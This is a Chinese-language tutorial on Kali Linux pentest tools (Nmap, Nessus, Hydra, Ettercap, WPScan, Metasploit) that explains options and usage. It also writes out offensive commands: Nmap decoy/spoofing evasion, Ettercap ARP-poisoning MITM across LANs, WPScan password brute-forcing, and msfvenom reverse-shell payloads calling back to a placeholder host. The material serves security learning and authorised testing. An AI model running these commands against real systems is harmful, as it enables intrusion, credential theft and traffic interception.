Reverse Engineering（逆向工程）
RFID Tools（RFID工具）
Stress testing（压力测试）
Forensics（取证）
Reporting Tools（报告工具）
Services（服务）
Miscellaneous（杂项）
## Kali工具:
## 一、Nmap(网络映射器 Network Mapper)
### 介绍
Nmap是一款开源免费的网络发现（Network Discovery）和安全审计（Security Auditing）工具。软件名字Nmap是Network
Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下，该工具逐渐成为最为流行安全必备工具之一。详情可以参见：www.nmap.org。
一般情况下，Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。
可以作为信息收集工具，收集有关主机的信息；也可以提供防火墙规避和欺骗功能
Nmap的优点：
1. 灵活：支持数十种不同的扫描方式，支持多种目标对象的扫描
2. 强大：Nmap可以用于扫描互联网上大规模的计算机
3. 可移植：支持主流操作系统：Windows/Linux/Unix/MacOS等等；源码开放，方便移植
4. 简单：提供默认的操作能覆盖大部分功能，基本端口扫描nmap targetip，全面的扫描nmap –A targetip
5. 自由：Nmap作为开源软件，在GPL License的范围内可以自由的使用
6. 文档丰富：Nmap官网提供了详细的文档描述。Nmap作者及其他安全专家编写了多部Nmap参考书籍
7. 社区支持：Nmap背后有强大的社区团队支持
8. 赞誉有加：获得很多的奖励，并在很多影视作品中出现（如黑客帝国2、Die Hard4等）
9. 流行：目前Nmap已经被成千上万的安全专家列为必备的工具之一
### 功能及特点
主机存活检测：探测网络上的主机，例如列出响应TCP和ICMP请求、icmp请求、开放特别端口的主机
端口探测：探测目标主机所开放的端口
服务识别
操作系统识别：探测目标主机的操作系统及网络设备的硬件特性
硬件地址检测
服务版本识别：探测目标主机的网络服务，判断其服务名称及版本号
漏洞扫描,使用nmap自带脚本
支持探测脚本的编写：使用Nmap的脚本引擎（NSE）和Lua编程语言
通过对设备或者防火墙的探测来审计它的安全性
探测目标主机所开放的端口
网络存储，网络映射，维护和资产管理
通过识别新的服务器审计网络的安全性
探测网络上的主机
端口扫描的6种状态：
open：端口是开放的
closed：端口是关闭的
filtered：端口被防火墙IDS/IPS屏蔽，无法确定其状态
unfiltered：端口没有被屏蔽，但是否开放需要进一步确定
open|filtered：端口是开放的或被屏蔽
closed|filtered ：端口是关闭的或被屏蔽
### 简单使用
默认发送一个arp的ping数据包，用来探测目标主机在1-10000范围内所开放的端口：
nmap <target ip address>
对返回的结果详细描述输出
nmap -vv <target ip address>
通过参数-p 来设置我们将要扫描的端口号:(range为端口扫描的范围 不超过65535)
nmap -p(range) <target IP>
指定端口扫描：
nmap -p(port1,port2,port3,...) <target ip>
例如：
nmap -p80,443,8080 <target ip address>
使用 ping 扫描：
nmap -sP <target ip>
路由追踪：
nmap --traceroute <target ip>
使用SYN的方法对全端口进行扫描,在aggressive(4)的时间模板下,同时对开放的端口进行端口识别：(SYN是TCP/IP建立连接时使用的握手信号)
nmap -p1-65535 -sV -sS -T4 <target ip>
aggressive(4)时间模板，探测操作系统类型和版本,以及显示traceroute的结果：
nmap -v -sS -A -T4 <target ip>
nmap -v -p 1-65535 -sV -O -sS -T4 <target ip>
insane(5)的时间模板,探测操作系统类型和版本,以及显示traceroute的结果：
nmap -v -sS -A -T5 <target ip>
nmap -v -sV -O -sS -T5 <target ip>
nmap -v -p 1-65535 -sV -O -sS -T5 <target ip>
扫描的结果输出到屏幕,同时会存储一份filename.txt:
nmap -sV -p 139,445 -oG filename.txt <target ip>
扫描指定的目标主机,同时检测相关漏洞:
nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 <target ip>
### 使用参数列表
-iL filename 从文件中读取待检测目标,文件中的表示方法支持机名,ip,网段
-iR hostnum 随机选取,进行扫描.如果-iR指定为0,则无休止的扫描
--exclude host1[, host2] 扫描任务中需要排除的主机
--exculdefile exclude_file 排除文件中的IP,格式和-iL指定扫描文件格式相同
主机发现：
-sL 仅仅显示扫描的IP数目,不会进行任何扫描
-sn ping扫描,即主机发现
-Pn 不检测是否主机存活
-PS/PA/PU/PY[portlist] TCP SYN Ping/TCP ACK Ping/UDP Ping的发现
-PE/PP/PM 使用ICMP echo, timestamp and netmask 请求包来发现主机
-PO[prococol list] 使用IP协议包来探测对方主机是否开启
-n/-R 不对IP进行域名反向解析/对所有的IP都进行域名反向解析
扫描技巧：
-sS/sT/sA/sW/sM TCP SYN/TCP connect()/ACK/TCP窗口扫描/TCP Maimon扫描
-sU UDP扫描
-sN/sF/sX TCP Null，FIN，and Xmas扫描
--scanflags 自定义TCP包中的flags(标志位)
-sI zombie host[:probeport] Idlescan
-sY/sZ SCTP INIT/COOKIE-ECHO 扫描
-sO 使用IP protocol 扫描确定目标机所支持的协议类型
-b “FTP relay host” 使用FTP bounce scan
指定端口和扫描顺序：
-p 扫描特定的端口 -p80,443 或者 -p1-65535
-p U:PORT 扫描udp的某个端口, -p U:53
-F 快速扫描模式,比默认的扫描端口要少
-r 不随机扫描端口,默认是随机扫描
--top-ports "number" 扫描开放概率最高的number个端口,出现的概率需要参考nmap-services文件,ubuntu中该文件位于/usr/share/nmap.nmap默认扫前1000个
--port-ratio "ratio" 扫描指定频率以上的端口
服务版本的识别：
-sV 开放版本探测,可以直接使用-A同时打开操作系统探测和版本探测
--version-intensity "level" 设置版本扫描强度,强度水平说明了应该使用哪些探测报文。数值越高，服务越有可能被正确识别。默认是7
--version-light 打开轻量级模式,为--version-intensity 2的别名
--version-all 尝试所有探测,为--version-intensity 9的别名
--version-trace 显示出详细的版本侦测过程信息
使用脚本扫描：
-sC 根据端口识别的服务,调用默认脚本
--script=”Lua scripts” 需要调用的脚本名
--script-args=n1=v1,[n2=v2] 调用脚本传递的参数
--script-args-file=filename 使用文本传递参数
--script-trace 显示所有发送和接收到的数据
--script-updatedb 更新脚本的数据库
--script-help=”Lua script” 显示指定脚本的帮助选项
OS识别：
-O 启用操作系统检测,-A来同时启用操作系统检测和版本检测
--osscan-limit 针对指定的目标进行操作系统检测(至少确知该主机分别有一个open和closed的端口)
--osscan-guess 推测操作系统检测结果,当Nmap无法确定所检测的操作系统时，会尽可能地提供最相近的匹配，Nmap默认进行匹配
防火墙/IDS躲避和哄骗：
-f; --mtu value 指定使用分片、指定数据包的MTU.
-D decoy1,decoy2,ME 使用诱饵隐蔽扫描
-S IP-ADDRESS 源地址欺骗
-e interface 使用指定的接口
-g/ --source-port PROTNUM 使用指定源端口
--proxies url1,[url2],... 使用HTTP或者SOCKS4的代理
--data-length NUM 填充随机数据让数据包长度达到NUM
--ip-options OPTIONS 使用指定的IP选项来发送数据包
--ttl VALUE 设置IP time-to-live域
--spoof-mac ADDR/PREFIX/VEBDOR MAC地址伪装
--badsum 使用错误的checksum来发送数据包
选择输出格式：
-oN 将标准输出直接写入指定的文件
-oX 输出xml文件
-oS 将所有的输出都改为大写
-oG 输出便于通过bash或者perl处理的格式,非xml
-oA BASENAME 可将扫描结果以标准格式、XML格式和Grep格式一次性输出
-v 提高输出信息的详细度
-d level 设置debug级别,最高是9
--reason 显示端口处于带确认状态的原因
--open 只输出端口状态为open的端口
--packet-trace 显示所有发送或者接收到的数据包
--iflist 显示路由信息和接口,便于调试
--log-errors 把日志等级为errors/warings的日志输出
--append-output 追加到指定的文件
--resume FILENAME 恢复已停止的扫描
--stylesheet PATH/URL 设置XSL样式表，转换XML输出
--webxml 从namp.org得到XML的样式
--no-sytlesheet 忽略XML声明的XSL样式表
其他选项：
-6 开启IPv6
-A OS识别,版本探测,脚本扫描和traceroute
--datedir DIRNAME 说明用户Nmap数据文件位置
--send-eth / --send-ip 使用原以太网帧发送/在原IP层发送
--privileged 假定用户具有全部权限
--unprovoleged 假定用户不具有全部权限,创建原始套接字需要root权限
-V 打印版本信息
-h 输出帮助
### 高级用法
防火墙/IDS规避：
防火墙与IDS规避为用于绕开防火墙与IDS（入侵检测系统）的检测与屏蔽，以便能够更加详细地发现目标主机的状况
Nmap提供了多种规避技巧，通常可以从两个方面考虑规避方式：数据包的变换（Packet Change）与时序变换（Timing Change）
规避用法：
-f; --mtu <val>: 指定使用分片、指定数据包的MTU
-D <decoy1,decoy2[,ME],...>: 用一组IP地址掩盖真实地址，其中ME填入自己的IP地址
-S <IP_Address>: 伪装成其他IP地址
-e <iface>: 使用特定的网络接口
-g/--source-port <portnum>: 使用指定源端口
--data-length <num>: 填充随机数据让数据包长度达到Num
--ip-options <options>: 使用指定的IP选项来发送数据包
--ttl <val>: 设置time-to-live时间
--spoof-mac <mac address/prefix/vendor name>: 伪装MAC地址
--badsum: 使用错误的checksum来发送数据包（正常情况下，该类数据包被抛弃，如果收到回复，说明回复来自防火墙或IDS/IPS）
例子：
-F表示快速扫描100个端口；-Pn表示不进行Ping扫描；-D表示使用IP诱骗方式掩盖自己真实IP（其中ME表示自己IP）；-e eth0表示使用eth0网卡发送该数据包；-g 3355表示自己的源端口使用3355；192.168.1.1是被扫描的目标IP地址
nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1
### 绝招：
man Nmap
参考：
[0x00](http://highon.coffee/docs/nmap/)
[0x01](http://blog.csdn.net/aspirationflow/article/details/7694274)
## 二、Nessus(系统弱点扫描分析软件)
### 介绍
Nessus号称是世界上最流行的漏洞扫描程序，全世界有超过75000个组织在使用它。该工具提供完整的电脑漏洞扫描服务，并随时更新其漏洞数据库。Nessus不同于传统的漏洞扫描软件，Nessus可同时在本机或远端上遥控，进行系统的漏洞分析扫描。Nessus也是渗透测试重要工具之一，可以帮助找到潜在攻击者可能利用的漏洞，Nessus通常包括成千上万的最新的漏洞，各种各样的扫描选项，及易于使用的图形界面和有效的报告
为了定位在目标系统上的漏洞，Nessus依赖feeds的格式实现漏洞检查
特点介绍：
提供完整的电脑漏洞扫描服务，并随时更新其漏洞数据库
不同于传统的漏洞扫描软件。Nessus可同时在本机或远程控制，进行系统的漏洞分析扫描
其运作效能随着系统的资源而自行调整。如果将主机配置更多的资源（如加快CPU速度或增加内存大小），其效率表现可因为丰富资源而提高
可自行定义插件
NASL（Nessus Attack Scripting Language）是由Tenable所发出的语言，用来写入Nessus的安全测试选项
完全支持SSL（Secure Socket Layer）
[官网下载地址](https://link.jianshu.com/?t=http://www.tenable.com/products/nessus/select-your-operating-system)
关于Kali安装Nessus就不说了[安装教程](https://blog.csdn.net/m0_37217636/article/details/78937496)
### 简单使用方法
先启动Nessus服务
/etc/init.d/nessusd start
Starting Nessus:
然后去<https://kali:8834/> Nessus登录界面 输入账号登录
Nessus 主界面
主页面右侧点击Policies 进入后点击右上角 New Policy 出现如下图
该界面选择创建策略类型。Nessus默认支持10种策略类型。这里随便选个 Advanced Scan 进入后
在该界面设置策略名、可见性和描述信息（可选项） 右侧边条对应选项可选择设置多个选项
选择插件程序点击Plugins
该界面显示了所有插件程序，默认全部是启动的。在该界面可以单击Disable
All按钮，禁用所有启动的插件程序。然后指定需要启动的插件程序，即可启动，再次点击绿色按钮即可禁用
在扫描策略设置好以后，需新建扫描任务才能开始扫描漏洞
切回主界面 点击Scans 右上角New Scan 建立新扫描任务
在该界面设置扫描任务名称、使用策略、文件夹和扫描的目标。这里分别设置为Sample Scan、Policy（之前建立好的策略）、My
Scans和192.168.41.0/24。然后单击Launch
### 扫描网络漏洞
如果用户想要使用Nessus攻击一个大范围的漏洞，需要配置评估漏洞列表并指定获取信息的评估列表。下面介绍配置Nessus在目标主机寻找网络漏洞，这些漏洞指目标主机或其他网络协议
1.新建一个名为 NetWork Scan 的策略
2.在策略中添加所需要的插件程序
CISCO 扫描CISCO系统
DNS 扫描DNS服务器
Default Unix Accounts 扫描本地默认用户账户和密码
FTP 扫描FTP服务器
Firewalls 扫描代理防火墙
Gain a shell remotely 扫描远程获取的Shell
Geeral 扫描常用的服务
Netware 扫描网络操作系统
Peer-To-Peer File Sharing 扫描共享文件检测
Policy Compliance 扫描PCI DSS和SCAP信息
SCADA 扫描设置管理工具
SMTP Problems 扫描SMTP问题
SNMP 扫描SNMP相关信息
Service Detection 扫描服务侦察
Settings 扫描基本设置
3.在主界面新建一个扫描任务 开始扫描
4.扫描完成后查看扫描报告，如发现漏洞想详细分析可以到处文件具体分析
### 扫描指定的linux系统漏洞
接下来介绍使用Nessus扫描指定Linux系统上的漏洞
常规步骤 给一下需要添加的插件程序：
Backdoors 扫描秘密信息
Brute Force Attacks 暴力攻击
CentOSo Local Security Checks 扫描CentOS系统的本地安全漏洞
DNS 扫描DNS服务器
Debian Local Security Checks 扫描Debian系统的本地安全漏洞
Default Unix Accounts 扫描默认Unix用户账号
Denial of Service 扫描拒绝的服务
FTP 扫描FTP服务器
Fedora Local Security Checks 扫描Fedora系统的本地安全漏洞
Firewalls 扫描防火墙
FreeBSD Local Security Checks 扫描FreeBSD系统的本地安全漏洞
Gain a shell remotely 扫描远程获得的Shell
General 扫描漏洞
Gentoo Local Security Checks 扫描Gentoo系统的本地安全漏洞
HP-UX Local Security Checks 扫描HP-UX系统的本地安全漏洞
Mandriva Local Security Checks 扫描Mandriva系统的本地安全漏洞
Misc 扫描复杂的漏洞
Red Hat Local Security Checks 扫描Red Hat系统的本地安全漏洞
SMTP Porblems 扫描SMTP问题
SNMP 扫描SNMP漏洞
Scientific Linux Local Security Checks 扫描Scientific Linux系统的本地安全漏洞
Slackware Local Security Checks 扫描Slackware系统的本地安全漏洞
Solaris Local Security Checks 扫描Solaris系统的本地安全漏洞
SuSE Local Security Checks 扫描SuSE系统的本地安全漏洞
Ubuntu Local Security Checks 扫描Ubuntu系统的本地安全漏洞
Web Servers 扫描Web服务器
### 扫描指定的windows系统漏洞
给出需要添加的插件程序：
DNS 扫描DNS服务器
Databases 扫描数据库
Denial of Service 扫描拒绝的服务
FTP 扫描FTP服务器
SMTP Problems 扫描SMTP问题
SNMP 扫描SNMP
Settings 扫描设置信息
Web Servers 扫描Web Servers
Windows 扫描Windows
Windows:Microsoft Bulletins 扫描Windows中微软公告
Windows:User management 扫描Windows用户管理
## 三、Hydra+Ettercap(密码破解+中间人攻击)
### hydra(密码破解)
Hydra是一个相当强大的暴力密码破解工具。该工具支持几乎所有协议的在线密码破解，如FTP、HTTP、HTTPS、MySQL、MS
SQL、Oracle、Cisco、IMAP和VNC等。其密码能否被破解，关键在于字典是否足够强大
经过测试，可以在Linux，Windows / Cygwin，Solaris，FreeBSD / OpenBSD，QNX（Blackberry
10）和MacOS上进行干净的编译
目前该工具支持以下协议：Asterisk，AFP，Cisco AAA，Cisco auth，Cisco
enable，CVS，Firebird，FTP，HTTP-FORM-GET，HTTP-FORM-POST，HTTP-GET，HTTP-HEAD，HTTP-POST ，HTTP-PROXY，HTTPS-FORM-GET，HTTPS-FORM-POST，HTTPS-GET，HTTPS-HEAD，HTTPS-POST，HTTP-Proxy，ICQ，IMAP，IRC，LDAP，MEMCACHED，MONGODB，MS-SQL，MYSQL
，NCP，NNTP，Oracle侦听器，Oracle SID，Oracle，PC-Anywhere，PCNFS，POP3，POSTGRES，Radmin，RDP，Rexec，Rlogin，Rsh，RTSP，SAP /
R3，SIP，SMB，SMTP，SMTP枚举，SNMP v1 + v2 +
v3，SOCKS5，SSH（v1和v2），SSHKEY，Subversion，Teamspeak（TS2），Telnet，VMware-Auth，VNC和XMPP
支持的平台：
1.所有UNIX平台（Linux，* BSD，Solaris等）
2.MacOS（基本上是BSD克隆）
3.带Cygwin的Windows（IPv4和IPv6）
4.基于Linux，MacOS或QNX的移动系统（例如Android，iPhone，Blackberry 10，Zaurus，iPaq）
此工具在Kali上有图形界面版 如下
点击应用程序 搜索框搜索hydra 打开hydra-gtk
该界面用于设置目标系统的地址、端口和协议等。如果要查看密码攻击的过程，将Output Options框中的Show Attempts复选框勾上
进入Password界面
/usr/share/wfuzz/wordlist/others/names.txt
/usr/share/wfuzz/wordlist/others/common_pass.txt
在该界面指定用户名和密码列表文件，这里使用Kali系统中存在的用户名和密码列表文件，并选择Loop around
users选项。其中，用户名和密码文件分别保存在/usr/share/wfuzz/wordlist/others/names.txt和/usr/share/wfuzz/wordlist/others/common_pass.txt中
设置好密码字典后，单击Tuning选项
在该界面设置任务的编号和超时时间。如果运行任务太多的话，服务的响应速率将下降。所以要建议将原来默认的任务编号16修改为2，超时时间修改为15。然后将Exit
after first found pair的复选框勾上，表示找到第一对匹配项时则停止攻击
进行start界面 在该界面显示了四个按钮，分别是启动、停止、保存输出和清除输出。这里单击Start按钮开始攻击
xHydra工具根据自定的用户名和密码文件中的条目，进行匹配。当找到匹配的用户名和密码时，则停止攻击 密码字典越强大越好
[Hydra Github](https://github.com/vanhauser-thc/thc-hydra)
### Ettercap(网络嗅探)
#### 介绍
[官网](https://www.ettercap-project.org/) [Github](https://github.com/Ettercap)
官网介绍：Ettercap是针对中间人攻击的综合套件。它具有实时连接的嗅探，动态内容过滤和许多其他有趣的技巧。它支持许多协议的主动和被动剖析，并包括许多用于网络和主机分析的功能(内网渗透神器)
也是Linux下一个强大的欺骗工具，也适用于Windows。用户能够使用Ettercap工具快速地创建伪造的包，实现从网络适配器到应用软件各种级别的包，绑定监听数据到一个本地端口等
#### 中间人攻击
中间人攻击（Man-in-the-MiddleAttack，简称“MITM攻击”）是一种“间接”的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间，这台计算机就称为“中间人”
中间人攻击常见的两种方法：ARP欺骗、DNS欺骗
#### Ettercap使用(中英文对照)
Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]
用法：ettercap <选项> <目标><>
TARGET is in the format MAC/IP/PORTs (see the man for further detail)
TARGET 的格式： MAC地址/IP地址/端口号
Sniffing and Attack options:
-M, --mitm <METHOD:ARGS> perform a mitm attack
实施中间人攻击
-o, --only-mitm don't sniff, only perform the mitm attack 不进行网络嗅探，只进行中间人攻击
-b, --broadcast sniff packets destined to broadcast 嗅探地址是广播地址的数据包
-B, --bridge <IFACE> use bridged sniff (needs 2 ifaces)
使用桥接嗅探(需要两个网卡)
-p, --nopromisc do not put the iface in promisc mode 不要将网卡设置成混杂模式
-S, --nosslmitm do not forge SSL certificates
禁用SSL证书伪造
-u, --unoffensive do not forward packets
不转发数据包
-r, --read <file> read data from pcapfile <file>
从pcap文件读取数据<文件名>
-f, --pcapfilter <string> set the pcap filter <string>
设置pcap过滤器
-R, --reversed use reversed TARGET matching
反向选择目标
-t, --proto <proto> sniff only this proto (default is all) 选择一个协议进行嗅探
--certificate <file> certificate file to use for SSL MiTM 用于SSL中间人攻击的证书文件
--private-key <file> private key file to use for SSL MiTM 用于SSL中间人攻击的私钥文件
User Interface Type:
-T, --text use text only GUI 文本模式
-q, --quiet do not display packet contents
安静模式 不输出过多无用信息
-s, --script <CMD> issue these commands to the GUI
将命令发送到GUI
-C, --curses use curses GUI
基于curse的GUI
-D, --daemon daemonize ettercap (no GUI)
守护进程
-G, --gtk use GTK+ GUI 使用GUI界面
Logging options:
-w, --write <file> write sniffed data to pcapfile <file> 把嗅探到的数据写入文件中
-L, --log <logfile> log all the traffic to this <logfile> 记录所有流量数据到指定文件中
-l, --log-info <logfile> log only passive infos to this <logfile> 仅记录被动信息到指定文件
-m, --log-msg <logfile> log all the messages to this <logfile> 把所有消息记录到指定文件中
-c, --compress use gzip compression on log files
对日志文件使用gzip压缩
Visualization options:
-d, --dns resolves ip addresses into hostnames 将IP地址解析为地址名
-V, --visual <format> set the visualization format
设置可视化格式
-e, --regex <regex> visualize only packets matching this regex 仅显示与此正则表达式匹配的数据包
-E, --ext-headers print extended header for every pck 打印每一个pck的扩展头
-Q, --superquiet do not display user and password
禁止显示用户名和密码
General options:
-i, --iface <iface> use this network interface
手动选择网卡 后面跟网卡参数
-I, --liface show all the network interfaces
列出所有可用网卡列表
-Y, --secondary <ifaces> list of secondary network interfaces 展示辅助网络接口列表
-n, --netmask <netmask> force this <netmask> on iface
设置子网掩码
-A, --address <address> force this local <address> on iface 选择手动设置IP地址 在某个端口上
-P, --plugin <plugin> launch this <plugin> 加载插件
-F, --filter <file> load the filter <file> (content filter) 加载过滤器文件
-z, --silent do not perform the initial ARP scan 禁用初始化ARP扫描
-j, --load-hosts <file> load the hosts list from <file>
从指定文件加载主机列表
-k, --save-hosts <file> save the hosts list to <file>
将主机列表保存到指定文件
-W, --wifi-key <wkey> use this key to decrypt wifi packets (wep or wpa) 加载WIFI密码
-a, --config <config> use the alterative config file <config> 使用备用配置文件
Standard options:
-v, --version prints the version and exit
-h, --help <这两个大家都懂>
简单使用示例：
1.在控制台模式下（-T）不使用混杂模式（-p），只会看到自己的通信
ettercap -Tp
2.在控制台模式下(-T)，不使用ARP初始化（-z）,不显示数据包内容(-q安静模式)，但是会显示用户名和密码和其他消息
ettercap -Tzq
3.在控制台模式下（-T），加载主机列表（-j），对目标执行arp毒化中间人攻击（-M arp）
ettercap -T -j /tmp/victims -M arp /10.0.0.1-7/ /10.0.0.10-20/
4.在控制台模式下（-T），对整个局域网执行ARP毒化攻击（-M arp）
ettercap -T -M arp // //
5.在控制台模式下（-T），执行ARP双向欺骗（-M arp:remote）
ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.2-10/
6.在控制台模式下（-T），不使用ARP初始化（-z），使用安静模式（-q），监听所有主机110端口（pop3协议端口）
ettercap -Tzq //110
7.在控制台模式下（-T），不进行ARP初始化（-z），使用安静模式（-q），监听目标10.0.0.1的21，22，23端口（FTP、SSH、TELNET）
ettercap -Tzq /10.0.0.1/21,22,23
8.打印输出可用插件列表
ettercap -P list
9.使用过滤脚本
etterfilter test.filter -o test.ef
#### 关于插件
Available plugins :
arp_cop 1.1 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 1.1 Check if the poisoning had success
dns_spoof 1.2 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN
find_ettercap 2.0 Try to find ettercap activity
find_ip 1.0 Search an unused IP address in the subnet
finger 1.6 Fingerprint a remote host
finger_submit 1.0 Submit a fingerprint to ettercap's website
fraggle_attack 1.0 Run a fraggle attack against hosts of target one
gre_relay 1.0 Tunnel broker for redirected GRE tunnels
gw_discover 1.0 Try to find the LAN gateway
isolate 1.0 Isolate an host from the lan
link_type 1.0 Check the link type (hub/switch)
mdns_spoof 1.0 Sends spoofed mDNS replies
nbns_spoof 1.1 Sends spoof NBNS replies & sends SMB challenges with custom challenge
pptp_chapms1 1.0 PPTP: Forces chapms-v1 from chapms-v2
pptp_clear 1.0 PPTP: Tries to force cleartext tunnel
pptp_pap 1.0 PPTP: Forces PAP authentication
pptp_reneg 1.0 PPTP: Forces tunnel re-negotiation
rand_flood 1.0 Flood the LAN with random MAC addresses
remote_browser 1.2 Sends visited URLs to the browser
reply_arp 1.0 Simple arp responder
repoison_arp 1.0 Repoison after broadcast ARP
scan_poisoner 1.0 Actively search other poisoners
search_promisc 1.2 Search promisc NICs in the LAN
smb_clear 1.0 Tries to force SMB cleartext auth
smb_down 1.0 Tries to force SMB to not use NTLM2 key auth
smurf_attack 1.0 Run a smurf attack against specified hosts
sslstrip 1.1 SSLStrip plugin
stp_mangler 1.0 Become root of a switches spanning tree
[Ettercap部分参考](https://www.cnblogs.com/lingerhk/p/4094040.html)
## 四、WPScan(WordPress漏洞扫描程序)
### 工具介绍
[官网地址](https://wpscan.org) [GitHub](https://github.com/wpscanteam/wpscan)
WordPress是一款免费的，用于非商业用途的黑匣子WordPress漏洞扫描程序，专为安全专业人员和博客维护人员编写，用于测试其网站的安全性
Kali
Linux默认自带的一款漏洞扫描工具，它采用Ruby编写，能够扫描WordPress网站中的多种安全漏洞，其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞，并且支持最新版本的WordPress。它不仅能够扫描类似robots.txt这样的敏感文件，还可以实现获取站点用户名，获取安装的所有插件、主题，以及存在漏洞的插件、主题，并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码
### 简单使用
wpscan -update 更新漏洞库
wpscan --url www.target.com --enumerate p 扫描插件基本信息
wpscan --url www.xxx.com --enumerate vp 扫描容易受攻击的插件
wpscan --url www.xxx.com --enumerate ap 扫描所有插件
wpscan --url www.target.com --enumerate u 暴力枚举用户名
wpscan --url www.example.com --wordlist passX.txt --username admin 通过用户名字典爆破密码
wpscan --url www.example.com --wordlist darkc0de.lst --threads 50 使用字典调用50个线程进行暴力破解
wpscan --help
wpscan --random-agent 带着浏览器头访问
wpscan <target ip/target url> 开始对服务器进行扫描
wpscan <target ip/target url> --enumerate t 对使用主题进行扫描
wpscan <target ip/target url> --enumerate vt 扫描主题中存在的漏洞
wpscan <target ip/target url> -e at -e ap -e u 枚举扫描主题、插件、用户名
wpscan –url [wordpress url] –wordlist [path to wordlist] –username [username to brute force] –threads [number of threads to use] 暴力破解用户的root密码
参数选项
--update 更新数据库
--url | -u <target url> 配置扫描URL
--force | -f 强制让wpscan不要验证目标是否是wordpress
--enumerate | -e [option(s)] 枚举信息
选项:
-u 枚举用户名，默认从1-10
-u[10-20] 枚举用户名，配置从10-20
-p 枚举插件
--vp 只枚举有漏洞的插件
--ap 枚举所有插件，时间较长
--tt 列举缩略图相关的文件
-t 枚举主题信息
--vt 只枚举存在漏洞的主题
--at 枚举所有主题，时间较长
可以指定多个扫描选项，例："-e tt,p"
如果没有指定选项，默认选项为："vt,tt,u,vp"
--exclude-content-based "<regexp or string>"
当使用枚举选项时，可以使用该参数做一些过滤，基于正则或者字符串，可以不写正则分隔符，但要用单引号或双引号包裹
--config-file | -c <config file> 使用指定的配置文件
--user-agent | -a <User-Agent> 指定User-Agent
--cookie <String> 指定cookie
--random-agent | -r 使用随机User-Agent
--follow-redirection 如果目标包含一个重定向，则直接跟随跳转
--batch 无需用户交互，都使用默认行为
--no-color 不要采用彩色输出
--wp-content-dir <wp content dir> WPScan 会去发现wp-content目录，用户可手动指定
--wp-plugins-dir <wp plugins dir> 指定wp插件目录，默认是wp-content/plugins
--proxy <[protocol://]host:port> 设置一个代理，可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5， 如果未设置默认是HTTP协议
--proxy-auth <username:password> 设置代理登陆信息
--basic-auth <username:password> 设置基础认证信息
--wordlist | -w <wordlist> 指定密码字典
--username | -U <username> 指定爆破的用户名
--usernames <path-to-file> 指定爆破用户名字典
--threads | -t <number of threads> 指定多线程
--cache-ttl <cache-ttl> 设置 cache TTL.
--request-timeout <request-timeout> 请求超时时间
--connect-timeout <connect-timeout> 连接超时时间
--max-threads <max-threads> 最大线程数
--throttle <milliseconds> 当线程数设置为1时，设置两个请求之间的间隔
--help | -h 输出帮助信息
--verbose | -v 输出Verbose
--version 输出当前版本
非入侵式检测：wpscan -u www.example.com吧
默认选项枚举信息：wpscan -u www.example.com -e
枚举插件信息：wpscan -u www.example.com -e p
爆破用户名admin的密码：wpscan -u www.example.com --wordlist darkc0de.lst --username admin --threads 50
[参考](https://www.freebuf.com/sectool/174663.html)
## 五、Metasploit Framework
### 工具介绍
[官网](https://www.metasploit.com/get-started)
[GitHub](https://github.com/rapid7/metasploit-framework)
**Metasploit Framework(MSF)**
是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名
### msfvenom(用于生成木马文件)
-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder（编码器）
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集，比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作，注入的payload作 为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量，以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
查看支持的payload列表：msfvenom -l payloads
查看支持的输出文件类型：msfvenom --help-formats
查看支持的编码方式：(为了达到免杀的效果)：msfvenom -l encoders
查看支持的空字段模块：(为了达到免杀的效果)：msfvenom -l nops
简单payload使用
Linux：
反向连接：msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=< Port to Connect On> -f elf > shell.elf
正向连接：msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f elf > shell.elf
Windows：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f exe > shell.exe
PHP：
msfvenom -p php/meterpreter_reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f asp > shell.asp
Python：
msfvenom -p cmd/unix/reverse_python LHOST=< IP Address> LPORT=< Port to Connect On> -f raw > shell.py
### msfconsole(命令行)
这个界面可看到metasploit当前版本，各个模块的插件数量。
* auxiliary扫描模块
* exploits漏洞利用模块
* payloads
* encoders编码模块
* nops空字符模块
* psot模块
